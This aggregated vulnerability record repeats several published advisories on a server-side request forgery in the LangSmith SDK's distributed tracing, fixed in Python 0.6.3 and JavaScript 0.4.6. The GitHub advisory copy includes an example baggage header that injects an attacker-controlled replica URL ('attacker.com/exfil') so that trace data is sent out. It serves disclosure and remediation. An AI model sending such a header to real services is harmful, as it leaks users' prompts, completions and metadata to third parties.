LangSmith Client SDK Affected by Server-Side Request Forgery via Tracing Header Injection

CISA KEV lists vulnerabilities known to be exploited. FIRST EPSS estimates the likelihood of exploitation in the next 30 days. An unavailable score does not mean zero risk.

No exploitation or prediction data is available here for these CVEs. This does not mean they are safe or unlikely to be exploited.

LangSmith Client SDK Affected by Server-Side Request Forgery via Tracing Header Injection

LangSmith Client SDKs provide SDK's for interacting with the LangSmith platform. The LangSmith SDK's distributed tracing feature is vulnerable to Server-Side Request Forgery via malicious HTTP headers. An attacker can inject arbitrary api_url values through the baggage header, causing the SDK to exfiltrate sensitive trace data to attacker-controlled endpoints. When using distributed tracing, the SDK parses incoming HTTP headers via RunTree.from_headers() in Python or RunTree.fromHeaders() in Typescript. The baggage header can contain replica configurations including api_url and api_key fields. Prior to the fix, these attacker-controlled values were accepted without validation. When a traced operation completes, the SDK's post() and patch() methods send run data to all configured replica URLs, including any injected by an attacker. This vulnerability is fixed in version 0.6.3 of the Python SDK and 0.4.6 of the JavaScript SDK.

Source published

9 Feb 2026 20:08:32 UTC

Source modified

10 Feb 2026 15:59:49 UTC

Saved here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

Source: cve-program · CVE Program Terms of Use. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS 3.1 · 5.8 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N

LangSmith Client SDKs provide SDK's for interacting with the LangSmith platform. The LangSmith SDK's distributed tracing feature is vulnerable to Server-Side Request Forgery via malicious HTTP headers. An attacker can inject arbitrary api_u…

LangSmith Client SDKs provide SDK's for interacting with the LangSmith platform. The LangSmith SDK's distributed tracing feature is vulnerable to Server-Side Request Forgery via malicious HTTP headers. An attacker can inject arbitrary api_url values through the baggage header, causing the SDK to exfiltrate sensitive trace data to attacker-controlled endpoints. When using distributed tracing, the SDK parses incoming HTTP headers via RunTree.from_headers() in Python or RunTree.fromHeaders() in Typescript. The baggage header can contain replica configurations including api_url and api_key fields. Prior to the fix, these attacker-controlled values were accepted without validation. When a traced operation completes, the SDK's post() and patch() methods send run data to all configured replica URLs, including any injected by an attacker. This vulnerability is fixed in version 0.6.3 of the Python SDK and 0.4.6 of the JavaScript SDK.

Source published

Feb 9, 2026, 8:08:32 PM (timezone not stated)

Source modified

Feb 10, 2026, 3:59:49 PM (timezone not stated)

Saved here

15 Nov 2026 07:40:38 UTC

Source terms

ENISA EUVD · source terms and attribution apply

Original source record · Cite this exact observation · Complete original publisher JSON

Source: euvd · ENISA EUVD · source terms and attribution apply. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

EUVD CVSS 3.1 · 5.8 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N

LangSmith Client SDKs provide SDK's for interacting with the LangSmith platform. The LangSmith SDK's distributed tracing feature is vulnerable to Server-Side Request Forgery via malicious HTTP headers. An attacker can inject arbitrary api_u…

LangSmith Client SDKs provide SDK's for interacting with the LangSmith platform. The LangSmith SDK's distributed tracing feature is vulnerable to Server-Side Request Forgery via malicious HTTP headers. An attacker can inject arbitrary api_url values through the baggage header, causing the SDK to exfiltrate sensitive trace data to attacker-controlled endpoints. When using distributed tracing, the SDK parses incoming HTTP headers via RunTree.from_headers() in Python or RunTree.fromHeaders() in Typescript. The baggage header can contain replica configurations including api_url and api_key fields. Prior to the fix, these attacker-controlled values were accepted without validation. When a traced operation completes, the SDK's post() and patch() methods send run data to all configured replica URLs, including any injected by an attacker. This vulnerability is fixed in version 0.6.3 of the Python SDK and 0.4.6 of the JavaScript SDK.

Source published

9 Feb 2026 21:15:48 UTC

Source modified

17 Jun 2026 10:24:47 UTC

Saved here

25 Oct 2026 06:17:16 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

Source: nvd · NIST NVD usage terms; underlying source attribution retained. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS 3.1 · [email protected] · Secondary · 5.8 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N

LangSmith Client SDK Affected by Server-Side Request Forgery via Tracing Header Injection

## Summary The LangSmith SDK's distributed tracing feature is vulnerable to Server-Side Request Forgery via malicious HTTP headers. An attacker can inject arbitrary `api_url` values through the `baggage` header, causing the SDK to exfiltrate sensitive trace data to attacker-controlled endpoints. --- ## Description When using distributed tracing, the SDK parses incoming HTTP headers via `RunTree.from_headers()` in Python or `RunTree.fromHeaders()` in Typescript. The `baggage` header can contain replica configurations including `api_url` and `api_key` fields. Prior to the fix, these attacker-controlled values were accepted without validation. When a traced operation completes, the SDK's `post()` and `patch()` methods send run data to all configured replica URLs, including any injected by an attacker. --- ## Attack Vector 1. Attacker sends an HTTP request to a vulnerable service with a malicious `baggage` header: ``` baggage: langsmith-replicas=[{"api_url":"https://attacker.com/exfil","project_name":"x"}] ``` 2. The service parses the header via `RunTree.from_headers()`, storing the attacker's URL 3. When the traced operation completes, the SDK sends the full run data (including LLM inputs, outputs, and metadata) to `https://attacker.com/exfil` --- ## Impact - **Data Exfiltration:** Sensitive trace data including LLM prompts, completions, and application metadata sent to attacker-controlled servers - **SSRF:** Ability to make the server send requests to arbitrary URLs, potentially targeting internal services --- ## Affected Use Cases Applications are vulnerable if they: - Use `TracingMiddleware` to automatically propagate tracing context - Call `RunTree.from_headers()` / `RunTree.fromHeaders()` with untrusted HTTP headers --- ## Remediation Update to the patched versions: - **Python:** `pip install langsmith>=0.6.3` - **JavaScript:** `npm install langsmith@>=0.4.6` The fix filters incoming replica configurations to an allowlist of safe fields, removing `api_url`, `api_key`, and other credential fields. --- ## Workarounds If unable to upgrade immediately: - Strip or validate the `baggage` header before passing to `from_headers()` - Do not use `TracingMiddleware` with untrusted traffic

Source published

9 Feb 2026 20:36:59 UTC

Source modified

10 Sep 2026 03:50:35 UTC

Saved here

24 Oct 2026 13:17:17 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

Source: osv · GitHub Advisory Database · CC-BY-4.0. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N

Publisher rating · MODERATE